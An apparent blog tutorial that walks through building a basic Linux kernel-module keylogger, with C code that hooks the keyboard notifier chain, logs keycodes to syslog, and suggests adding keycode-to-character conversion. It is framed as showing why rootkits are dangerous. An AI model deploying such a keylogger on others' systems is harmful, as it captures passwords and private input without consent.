Attention: open in a new window. PDFPrint

How To: Building your own kernel space keylogger

The linux kernel has been designed as a very modular piece of software. This allows you to load new kernel modules or kernel space drivers during runtime. To allow mdule loading during runtime, the kernel exports a rich set of symbols for module hookup. The problem of this is, that it is very easy to add your own modules to the kernel and read information from the kernel that you might assume to be protected. This is the way, kernel space rootkits work. In this article, I will show you a very simple example that might make clear, why those rootkits are dangerous and why you should never run applications as root or install kernel modules you do not trust.

The most simple example of a very basic rootkit is a keylogger. A keylogger is able to log every keyboard input you type on your keyboard which includes usernames followed by your probably secret password. To understand the following abstract you should have at least some basic understanding of C programming and you should basically understand, how kernel modules work. If you like to try my code snippets on your own system you should also take a look at this kernel module development guide.

The basic concept of registering your keylogger is just to attach your logging method to the list of keyboard notifiers. If you are used to the basic principles of design patterns you would call this one a observer pattern. Every time a key is pressed on any keyboard connected to your system, the keyboard driver will notify all registered modules about the key that has been pressed. And this is exactly what we want to archive.

Registering a method to the notification queue is streightforward. The keyboard driver uses the notifier_block from linux/notifier.h. We do not need to include this file as it is already a part of iinux/keyboard.h includes. So, we just create a basic module that registeres as a new kernel module and add the following include:

#include <linux/keyboard.h>

Now, as told before, we use the notifier_block to register our own keyboard observer:

struct notifier_block {
int (*notifier_call)(struct notifier_block *, unsigned long, void *);
struct notifier_block *next;
int priority;
};

The struct contains a pointer to a function that is called on every keypress (or release). So all we have to do is defining our own function and storing it to a notifier_block struct we register to the keyboard driver:

int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
struct keyboard_notifier_param *param = _param;
struct vc_data *vc = param->vc;

int ret = NOTIFY_OK;

if (code == KBD_KEYCODE) {
printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
}
}

static struct notifier_block nb = {
.notifier_call = hello_notify
};

The hello_notify method is our function, matching the .notifier_call elements signature. As you see, the last parameter of the function (void *_param) contains a keyboard_notifier_param struct which itself contains the information of the key pressed, like the keycode, etc. The code parameter informs about the content form of the struct as the value field might contain a keycode, a keysym or a unicode value.

And now, we defined our notifier_block, we are ready to register it within our module initialization method and deregister it on module unloading:

static int hello_init(void)
{
register_keyboard_notifier(&nb);
return 0;
}

static void hello_release(void)
{
unregister_keyboard_notifier(&nb);
}

module_init(hello_init);
module_exit(hello_release);

That's all. After loading the module into your kernel, the hello_notify method is called every time a keypress or release occurs. You can follow the keypress events by reading the results within your syslog. To do something sane with your keylogger you just need to extend the hello_notify method on your needs. The next step would be implementing a conversion table from keycodes to ascii-characters actually typed. Feel free to play around with it.